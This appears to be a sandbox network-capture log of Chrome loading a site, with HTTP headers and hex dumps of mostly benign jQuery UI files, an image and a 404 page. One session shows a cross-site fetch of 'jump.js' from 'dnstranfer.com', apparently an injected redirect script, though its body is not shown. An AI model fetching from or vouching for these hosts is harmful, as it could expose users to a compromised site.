Session ID Source IP Source Port Destination IP
Destination
Port

Process

103 192.168.11.20 49662 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1499 OUT GET /direct/jump.js HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

104 192.168.11.20 58602 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:51 UTC 1499 OUT GET /js/jquery.validate.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

105 118.27.105.118 443 192.168.11.20 51446 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1500 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: image/png
Content-Length: 5314
Last-Modified: Sun, 19 Feb 2017 09:43:44 GMT
Connection: close
ETag: "58a968d0-14c2"
Expires: Sat, 10 Sep 2022 03:42:51 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:51 UTC 1500 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 49 08 06 00 00 00 99 f3 be f7 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 
00 0e c1 01 b8 91 6b ed 00 00 14 57 49 44 41 54 78 5e ed da 55 ac 1d 47 16 85 e1 1b 66 e6 28 a0 28 f0 18 52 d0 61 66 
66 66 66 66 66 66 76 98 99 99 99 59 c1 87 30 83 14 e6 a8 26 5f 8d d6 51 dd f6 b1 a5 79 9c d1 58 da aa a6 d3 bd ff 5a 1b 
aa fb 7a 60 fb ed b7 2f ff ab f6 7f b8 ff 56 ab 70 3b ec b0 43 b5 1d 77 dc b1 b7 dd 6f bf b5 7e d7 f6 3b b6 d3 4e 3b f5 8e b7 
fb dd e3 ad 39 d7 5a f7 7c 6b ed 35 dd df 0c b4 ce c4 da 1f 66 7b 44 d6 ef ba 3c 64 e7 9d 77 ae b6 cb 2e bb 54 db 75 d7 
5d 7b db dd 73 ed f1 ee 7e 7b 2c fb dd eb ba 36 08 ae eb 
Data Ascii: PNGIHDR7IsRGBgAMAapHYskWIDATx^UGf((RafffffffvY0&_QyXZz`/Vp;Cwo~;N;9Z|k5f{D<dw.Tu]{s~{,6

Session ID Source IP Source Port Destination IP
Destination
Port

Process

106 118.27.105.118 443 192.168.11.20 63422 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1505 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:51 UTC 1505 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

107 192.168.11.20 58603 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1519 OUT GET /jpg/karen%20davis%20photo2a51c.jpg?h=73&w=55&la=en&hash=B38EE530183F7DA7894D1D4C64E54
362342370D4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

108 118.27.105.118 443 192.168.11.20 50744 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1519 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: text/css
Content-Length: 24760
Last-Modified: Mon, 28 Nov 2016 18:14:42 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7412-60b8"
Expires: Thu, 11 Aug 2022 15:42:51 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:52 UTC 1519 IN Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 38 2e 32 34 20 2d 20 32 30 31 32 2d 30 39 2d 32 
38 0d 0a 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 75 69 
0d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 6a 71 75 65 72 79 2e 75 69 2e 63 6f 72 65 2e 63 73 73 2c 20 6a 71 75 65 72 
79 2e 75 69 2e 61 63 63 6f 72 64 69 6f 6e 2e 63 73 73 2c 20 6a 71 75 65 72 79 2e 75 69 2e 61 75 74 6f 63 6f 6d 70 6c 65 
74 65 2e 63 73 73 2c 20 6a 71 75 65 72 79 2e 75 69 2e 62 75 74 74 6f 6e 2e 63 73 73 2c 20 6a 71 75 65 72 79 2e 75 69 
2e 64 61 74 65 70 69 63 6b 65 72 2e 63 73 73 2c 20 6a 71 75 65 72 79 2e 75 69 2e 64 69 61 6c 6f 67 2e 63 73 73 2c 20 
6a 71 75 65 72 79 2e 75 69 2e 70 72 6f 67 72 65 73 73 62 61 72 2e 63 
Data Ascii: /*! jQuery UI - v1.8.24 - 2012-09-28* https://github.com/jquery/jquery-ui* Includes: jquery.ui.core.css, jqu
ery.ui.accordion.css, jquery.ui.autocomplete.css, jquery.ui.button.css, jquery.ui.datepicker.css, jquery.ui.dialog.css, 
jquery.ui.progressbar.c

2022-08-11 03:42:52 UTC 1535 IN Data Raw: 6f 77 73 74 6f 70 2d 31 2d 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 39 32 70 
78 20 2d 33 32 70 78 7d 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 73 74 6f 70 2d 31 2d 65 7b 62 61 63 6b 67 72 6f 75 6e 
64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 38 70 78 20 2d 33 32 70 78 7d 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 73 74 
6f 70 2d 31 2d 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 32 34 70 78 20 2d 33 32 70 78 7d 
2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 73 74 6f 70 2d 31 2d 77 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 
6f 6e 3a 2d 32 34 30 70 78 20 2d 33 32 70 78 7d 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 31 2d 6e 
7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 
Data Ascii: owstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-
icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-
arrowthick-1-n{background-position

Session ID Source IP Source Port Destination IP
Destination
Port

Process

109 118.27.105.118 443 192.168.11.20 50745 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1543 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: application/javascript
Content-Length: 378032
Last-Modified: Mon, 28 Nov 2016 18:14:44 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7414-5c4b0"
Expires: Thu, 11 Aug 2022 15:42:51 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:52 UTC 1544 IN Data Raw: 2f 2a 20 4e 55 47 45 54 3a 20 42 45 47 49 4e 20 4c 49 43 45 4e 53 45 20 54 45 58 54 0d 0a 20 2a 0d 0a 20 
2a 20 4d 69 63 72 6f 73 6f 66 74 20 67 72 61 6e 74 73 20 79 6f 75 20 74 68 65 20 72 69 67 68 74 20 74 6f 20 75 73 65 20 
74 68 65 73 65 20 73 63 72 69 70 74 20 66 69 6c 65 73 20 66 6f 72 20 74 68 65 20 73 6f 6c 65 0d 0a 20 2a 20 70 75 72 
70 6f 73 65 20 6f 66 20 65 69 74 68 65 72 3a 20 28 69 29 20 69 6e 74 65 72 61 63 74 69 6e 67 20 74 68 72 6f 75 67 68 2
0 79 6f 75 72 20 62 72 6f 77 73 65 72 20 77 69 74 68 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 0d 0a 20 2a 20 77 65 62 
73 69 74 65 20 6f 72 20 6f 6e 6c 69 6e 65 20 73 65 72 76 69 63 65 2c 20 73 75 62 6a 65 63 74 20 74 6f 20 74 68 65 20 61 
70 70 6c 69 63 61 62 6c 65 20 6c 69 63 65 6e 73 69 6e 67 20 6f 72 
Data Ascii: /* NUGET: BEGIN LICENSE TEXT * * Microsoft grants you the right to use these script files for the sole * pur
pose of either: (i) interacting through your browser with the Microsoft * website or online service, subject to the applicable 
licensing or
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2022-08-11 03:42:52 UTC 1559 IN Data Raw: 29 20 7b 0d 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3b 0d 0a 09 7d 2c 0d 0a 0d 
0a 09 6f 70 74 69 6f 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 2c 20 76 61 6c 75 65 20 29 20 7b 0d 0a 09 09 76 61 
72 20 6f 70 74 69 6f 6e 73 20 3d 20 6b 65 79 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 
6e 67 74 68 20 3d 3d 3d 20 30 20 29 20 7b 0d 0a 09 09 09 2f 2f 20 64 6f 6e 27 74 20 72 65 74 75 72 6e 20 61 20 72 65 6
6 65 72 65 6e 63 65 20 74 6f 20 74 68 65 20 69 6e 74 65 72 6e 61 6c 20 68 61 73 68 0d 0a 09 09 09 72 65 74 75 72 6e 
20 24 2e 65 78 74 65 6e 64 28 20 7b 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 
09 09 69 66 20 20 28 74 79 70 65 6f 66 20 6b 65 79 20 3d 3d 3d 20 22 73 
Data Ascii: ) {return this.element;},option: function( key, value ) {var options = key;if ( arguments.length === 0 ) {// don't ret
urn a reference to the internal hashreturn $.extend( {}, this.options );}if  (typeof key === "s

2022-08-11 03:42:52 UTC 1581 IN Data Raw: 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 2c 0d 0a 09 09 09 09 6c 65 66 74 3a 20 70 2e 6c 65 66 74 20 2d 20 28 70 
61 72 73 65 49 6e 74 28 74 68 69 73 2e 68 65 6c 70 65 72 2e 63 73 73 28 22 6c 65 66 74 22 29 2c 31 30 29 20 7c 7c 20 
30 29 20 2b 20 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 0d 0a 09 09 
09 7d 3b 0d 0a 09 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 09 72 65 74 75 72 6e 20 7b 20 74 6f 70 3a 20 30 2c 20 6c 65 6
6 74 3a 20 30 20 7d 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 2c 0d 0a 0d 0a 09 5f 63 61 63 68 65 4d 61 72 67 69 6e 73 3a 
20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 74 68 69 73 2e 6d 61 72 67 69 6e 73 20 3d 20 7b 0d 0a 09 09 09 6c 
65 66 74 3a 20 28 70 61 72 73 65 49 6e 74 28 74 68 69 73 2e 65 6c 65 6d 
Data Ascii: .scrollTop(),left: p.left - (parseInt(this.helper.css("left"),10) || 0) + this.scrollParent.scrollLeft()};} else {return { 
top: 0, left: 0 };}},_cacheMargins: function() {this.margins = {left: (parseInt(this.elem

2022-08-11 03:42:52 UTC 1597 IN Data Raw: 6c 65 66 74 20 3c 20 6f 2e 73 63 72 6f 6c 6c 53 65 6e 73 69 74 69 76 69 74 79 29 0d 0a 09 09 09 09 09 69 2e 
73 63 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 73 63 72 6f 6c 6c 4c 65 66 74 20 3d 20 73 63 72 6f 6c 6c 65 64 20 3d 20 
69 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 73 63 72 6f 6c 6c 4c 65 66 74 20 2d 20 6f 2e 73 63 72 6f 6c 6c 53 
70 65 65 64 3b 0d 0a 09 09 09 7d 0d 0a 0d 0a 09 09 7d 20 65 6c 73 65 20 7b 0d 0a 0d 0a 09 09 09 69 66 28 21 6f 2e 61 
78 69 73 20 7c 7c 20 6f 2e 61 78 69 73 20 21 3d 20 27 78 27 29 20 7b 0d 0a 09 09 09 09 69 66 28 65 76 65 6e 74 2e 70 
61 67 65 59 20 2d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 20 3c 20 6f 2e 73 63 72 6f 6c 
6c 53 65 6e 73 69 74 69 76 69 74 79 29 0d 0a 09 09 09 09 09 73 
Data Ascii: left < o.scrollSensitivity)i.scrollParent[0].scrollLeft = scrolled = i.scrollParent[0].scrollLeft - o.scrollSpeed;}} else 
{if(!o.axis || o.axis != 'x') {if(event.pageY - $(document).scrollTop() < o.scrollSensitivity)s

2022-08-11 03:42:52 UTC 1613 IN Data Raw: 6e 64 20 73 65 74 20 74 68 65 20 77 72 61 70 70 65 72 20 74 6f 20 74 68 65 20 6e 65 77 20 63 75 72 72 65 
6e 74 20 69 6e 74 65 72 6e 61 6c 20 65 6c 65 6d 65 6e 74 0d 0a 09 09 09 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 77 72 
61 70 28 0d 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 69 2d 77 72 61 70 70 65 72 22 20 73 74 79 
6c 65 3d 22 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 22 3e 3c 2f 64 69 76 3e 27 29 2e 63 73 73 28 7b 0d 0a 09 
09 09 09 09 70 6f 73 69 74 69 6f 6e 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 73 73 28 27 70 6f 73 69 74 69 6f 6e 
27 29 2c 0d 0a 09 09 09 09 09 77 69 64 74 68 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 75 74 65 72 57 69 64 74 
68 28 29 2c 0d 0a 09 09 09 09 09 68 65 69 67 68 74 3a 20 74 68 69 73 
Data Ascii: nd set the wrapper to the new current internal elementthis.element.wrap($('<div class="ui-wrapper" style="ov
erflow: hidden;"></div>').css({position: this.element.css('position'),width: this.element.outerWidth(),height: this

2022-08-11 03:42:52 UTC 1629 IN Data Raw: 68 65 6c 70 65 72 2c 0d 0a 09 09 09 70 6f 73 69 74 69 6f 6e 3a 20 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 2c 
0d 0a 09 09 09 73 69 7a 65 3a 20 74 68 69 73 2e 73 69 7a 65 2c 0d 0a 09 09 09 6f 72 69 67 69 6e 61 6c 53 69 7a 65 3a 
20 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 53 69 7a 65 2c 0d 0a 09 09 09 6f 72 69 67 69 6e 61 6c 50 6f 73 69 74 69 6f 6e 
3a 20 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 50 6f 73 69 74 69 6f 6e 0d 0a 09 09 7d 3b 0d 0a 09 7d 0d 0a 0d 0a 7d 29 3b 
0d 0a 0d 0a 24 2e 65 78 74 65 6e 64 28 24 2e 75 69 2e 72 65 73 69 7a 61 62 6c 65 2c 20 7b 0d 0a 09 76 65 72 73 69 6f 
6e 3a 20 22 31 2e 38 2e 32 34 22 0d 0a 7d 29 3b 0d 0a 0d 0a 2f 2a 0d 0a 20 2a 20 52 65 73 69 7a 61 62 6c 65 20 45 78 
74 65 6e 73 69 6f 6e 73 0d 0a 20 2a 2f 0d 0a 0d 0a 24 2e 75 69 2e 
Data Ascii: helper,position: this.position,size: this.size,originalSize: this.originalSize,originalPosition: this.originalPosition
};}});$.extend($.ui.resizable, {version: "1.8.24"});/* * Resizable Extensions */$.ui.

2022-08-11 03:42:52 UTC 1689 IN Data Raw: 09 7d 29 3b 0d 0a 09 09 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 22 73 74 6f 70 22 2c 20 65 76 65 6e 74 29 
3b 0d 0a 0d 0a 09 09 74 68 69 73 2e 68 65 6c 70 65 72 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 
6e 20 66 61 6c 73 65 3b 0d 0a 09 7d 0d 0a 0d 0a 7d 29 3b 0d 0a 0d 0a 24 2e 65 78 74 65 6e 64 28 24 2e 75 69 2e 73 65 
6c 65 63 74 61 62 6c 65 2c 20 7b 0d 0a 09 76 65 72 73 69 6f 6e 3a 20 22 31 2e 38 2e 32 34 22 0d 0a 7d 29 3b 0d 0a 0d 
0a 7d 29 28 6a 51 75 65 72 79 29 3b 0d 0a 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 20 24 2c 20 75 6e 64 65 66 69 6e 65 64 
20 29 20 7b 0d 0a 0d 0a 24 2e 77 69 64 67 65 74 28 22 75 69 2e 73 6f 72 74 61 62 6c 65 22 2c 20 24 2e 75 69 2e 6d 6f 
75 73 65 2c 20 7b 0d 0a 09 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 
Data Ascii: });this._trigger("stop", event);this.helper.remove();return false;}});$.extend($.ui.selectable, {version: "1.8.24"});})
(jQuery);(function( $, undefined ) {$.widget("ui.sortable", $.ui.mouse, {widgetEventPref

2022-08-11 03:42:52 UTC 1705 IN Data Raw: 44 69 72 65 63 74 69 6f 6e 20 3d 20 74 68 69 73 2e 5f 67 65 74 44 72 61 67 48 6f 72 69 7a 6f 6e 74 61 6c 44 
69 72 65 63 74 69 6f 6e 28 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 74 68 69 73 2e 66 6c 6f 61 74 69 6e 67 20 26 26 20 68 
6f 72 69 7a 6f 6e 74 61 6c 44 69 72 65 63 74 69 6f 6e 29 20 7b 0d 0a 09 09 09 72 65 74 75 72 6e 20 28 28 68 6f 72 69 7a 
6f 6e 74 61 6c 44 69 72 65 63 74 69 6f 6e 20 3d 3d 20 22 72 69 67 68 74 22 20 26 26 20 69 73 4f 76 65 72 52 69 67 68 
74 48 61 6c 66 29 20 7c 7c 20 28 68 6f 72 69 7a 6f 6e 74 61 6c 44 69 72 65 63 74 69 6f 6e 20 3d 3d 20 22 6c 65 66 74 22 
20 26 26 20 21 69 73 4f 76 65 72 52 69 67 68 74 48 61 6c 66 29 29 3b 0d 0a 09 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 0
9 72 65 74 75 72 6e 20 76 65 72 74 69 63 61 6c 44 69 72 65 63 74 
Data Ascii: Direction = this._getDragHorizontalDirection();if (this.floating && horizontalDirection) {return ((horizonta
lDirection == "right" && isOverRightHalf) || (horizontalDirection == "left" && !isOverRightHalf));} else {return verticalDirect

2022-08-11 03:42:52 UTC 1721 IN Data Raw: 3f 20 2d 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3a 20 
73 63 72 6f 6c 6c 49 73 52 6f 6f 74 4e 6f 64 65 20 3f 20 30 20 3a 20 73 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 
29 20 29 20 2a 20 6d 6f 64 29 0d 0a 09 09 09 29 0d 0a 09 09 7d 3b 0d 0a 0d 0a 09 7d 2c 0d 0a 0d 0a 09 5f 67 65 6e 65 
72 61 74 65 50 6f 73 69 74 69 6f 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 0d 0a 09 09 76 61 
72 20 6f 20 3d 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2c 20 73 63 72 6f 6c 6c 20 3d 20 74 68 69 73 2e 63 73 73 50 6f 73 
69 74 69 6f 6e 20 3d 3d 20 27 61 62 73 6f 6c 75 74 65 27 20 26 26 20 21 28 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 
6e 74 5b 30 5d 20 21 3d 20 64 6f 63 75 6d 65 6e 74 20 26 26 
Data Ascii: ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod))};},_generatePosition: functio
n(event) {var o = this.options, scroll = this.cssPosition == 'absolute' && !(this.scrollParent[0] != document &&

2022-08-11 03:42:52 UTC 1737 IN Data Raw: 6d 65 73 2c 20 73 70 65 65 64 2c 20 65 61 73 69 6e 67 2c 20 63 61 6c 6c 62 61 63 6b 29 20 7b 0d 0a 09 09 
72 65 74 75 72 6e 20 73 70 65 65 64 20 3f 20 24 2e 65 66 66 65 63 74 73 2e 61 6e 69 6d 61 74 65 43 6c 61 73 73 2e 61 
70 70 6c 79 28 74 68 69 73 2c 20 5b 7b 20 61 64 64 3a 20 63 6c 61 73 73 4e 61 6d 65 73 20 7d 2c 73 70 65 65 64 2c 65 
61 73 69 6e 67 2c 63 61 6c 6c 62 61 63 6b 5d 29 20 3a 20 74 68 69 73 2e 5f 61 64 64 43 6c 61 73 73 28 63 6c 61 73 73 
4e 61 6d 65 73 29 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 5f 72 65 6d 6f 76 65 43 6c 61 73 73 3a 20 24 2e 66 6e 2e 72 65 6d 
6f 76 65 43 6c 61 73 73 2c 0d 0a 09 72 65 6d 6f 76 65 43 6c 61 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 63 6c 61 73 73 4e 
61 6d 65 73 2c 73 70 65 65 64 2c 65 61 73 69 6e 67 2c 63 61 6c 6c 62 61 
Data Ascii: mes, speed, easing, callback) {return speed ? $.effects.animateClass.apply(this, [{ add: classNames },speed,
easing,callback]) : this._addClass(classNames);},_removeClass: $.fn.removeClass,removeClass: function(classNam
es,speed,easing,callba
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2022-08-11 03:42:52 UTC 1753 IN Data Raw: 61 72 67 75 6d 65 6e 74 73 29 3b 20 2f 2f 20 43 61 6c 6c 62 61 63 6b 0d 0a 09 09 09 65 6c 2e 64 65 71 75 65 
75 65 28 29 3b 0d 0a 09 09 7d 7d 29 3b 0d 0a 0d 0a 09 7d 29 3b 0d 0a 0d 0a 7d 3b 0d 0a 0d 0a 7d 29 28 6a 51 75 65 72 
79 29 3b 0d 0a 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 20 24 2c 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0d 0a 0d 0a 24 
2e 65 66 66 65 63 74 73 2e 65 78 70 6c 6f 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 29 20 7b 0d 0a 0d 0a 09 72 65 74 
75 72 6e 20 74 68 69 73 2e 71 75 65 75 65 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 0d 0a 09 76 61 72 20 72 6f 77 7
3 20 3d 20 6f 2e 6f 70 74 69 6f 6e 73 2e 70 69 65 63 65 73 20 3f 20 4d 61 74 68 2e 72 6f 75 6e 64 28 4d 61 74 68 2e 73 7
1 72 74 28 6f 2e 6f 70 74 69 6f 6e 73 2e 70 69 65 63 65 73 29 29 
Data Ascii: arguments); // Callbackel.dequeue();}});});};})(jQuery);(function( $, undefined ) {$.effects.explode = function(o) 
{return this.queue(function() {var rows = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces))

2022-08-11 03:42:52 UTC 1769 IN Data Raw: 24 28 6f 2e 6f 70 74 69 6f 6e 73 2e 74 6f 29 2c 0d 0a 09 09 09 65 6e 64 50 6f 73 69 74 69 6f 6e 20 3d 20 74 61 
72 67 65 74 2e 6f 66 66 73 65 74 28 29 2c 0d 0a 09 09 09 61 6e 69 6d 61 74 69 6f 6e 20 3d 20 7b 0d 0a 09 09 09 09 74 
6f 70 3a 20 65 6e 64 50 6f 73 69 74 69 6f 6e 2e 74 6f 70 2c 0d 0a 09 09 09 09 6c 65 66 74 3a 20 65 6e 64 50 6f 73 69 74 
69 6f 6e 2e 6c 65 66 74 2c 0d 0a 09 09 09 09 68 65 69 67 68 74 3a 20 74 61 72 67 65 74 2e 69 6e 6e 65 72 48 65 69 67 
68 74 28 29 2c 0d 0a 09 09 09 09 77 69 64 74 68 3a 20 74 61 72 67 65 74 2e 69 6e 6e 65 72 57 69 64 74 68 28 29 0d 0a 
09 09 09 7d 2c 0d 0a 09 09 09 73 74 61 72 74 50 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 6f 66 66 73 65 74 28 29 2c 
0d 0a 09 09 09 74 72 61 6e 73 66 65 72 20 3d 20 24 28 27 3c 64 
Data Ascii: $(o.options.to),endPosition = target.offset(),animation = {top: endPosition.top,left: endPosition.left,height: 
target.innerHeight(),width: target.innerWidth()},startPosition = elem.offset(),transfer = $('<d

2022-08-11 03:42:52 UTC 1785 IN Data Raw: 74 68 20 73 6d 61 6c 6c 20 76 61 6c 75 65 73 2c 20 77 68 69 63 68 20 69 73 20 63 6f 6d 6d 6f 6e 20 66 6f 72 
20 70 61 64 64 69 6e 67 0d 0a 09 09 09 09 09 69 66 20 28 20 73 65 74 74 69 6e 67 73 2e 70 72 6f 70 20 3d 3d 20 22 68 
65 69 67 68 74 22 20 29 20 7b 0d 0a 09 09 09 09 09 09 70 65 72 63 65 6e 74 44 6f 6e 65 20 3d 20 28 20 73 65 74 74 69 
6e 67 73 2e 65 6e 64 20 2d 20 73 65 74 74 69 6e 67 73 2e 73 74 61 72 74 20 3d 3d 3d 20 30 20 29 20 3f 20 30 20 3a 0d 
0a 09 09 09 09 09 09 09 28 20 73 65 74 74 69 6e 67 73 2e 6e 6f 77 20 2d 20 73 65 74 74 69 6e 67 73 2e 73 74 61 72 74 
20 29 20 2f 20 28 20 73 65 74 74 69 6e 67 73 2e 65 6e 64 20 2d 20 73 65 74 74 69 6e 67 73 2e 73 74 61 72 74 20 29 3b 
0d 0a 09 09 09 09 09 7d 0d 0a 0d 0a 09 09 09 09 09 6f 70 74 69 6f 6e 73 
Data Ascii: th small values, which is common for paddingif ( settings.prop == "height" ) {percentDone = ( settings.end - 
settings.start === 0 ) ? 0 :( settings.now - settings.start ) / ( settings.end - settings.start );}options

